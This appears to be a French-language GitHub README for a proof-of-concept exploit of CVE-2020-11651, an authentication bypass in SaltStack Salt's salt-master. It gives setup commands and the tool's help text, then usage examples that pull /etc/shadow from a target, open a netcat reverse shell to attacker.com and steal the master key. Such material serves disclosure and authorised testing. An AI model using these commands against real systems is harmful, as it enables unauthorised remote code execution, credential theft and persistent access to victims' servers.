0xc0d/cve-2020-11651CVE-2020-11651: Preuve de Concept
Un problème a été découvert dans SaltStack Salt avant les versions 2019.2.4 et 3000 avant 3000.2. La classe ClearFuncs du processus salt-master ne valide pas correctement les appels de méthodes. Cela permet à un utilisateur distant d'accéder à certaines méthodes sans authentification. Ces méthodes peuvent être utilisées pour récupérer les jetons utilisateur du salt master et/ou exécuter des commandes arbitraires sur les minions salt.
Correctifs pour les versions non supportées de salt
git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py
$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]
CVE-2020-11651 PoC
optional arguments:
-h, --help show this help message and exit
--host HOST, -t HOST
--port PORT, -p PORT
--execute COMMAND, -e COMMAND
Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
--upload src dest, -u src dest
Upload a file
--download src dest, -d src dest
Download a file
--minions Send command to all minions on master
--quiet, -q Enable quiet/silent mode
--fetch-key-only Only fetch the key
./PoC.py --host target.com --download /etc/shadow ./shadow
nc -nvl attacker.com 9999
./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\""
./PoC.py --host target.com --fetch-key-only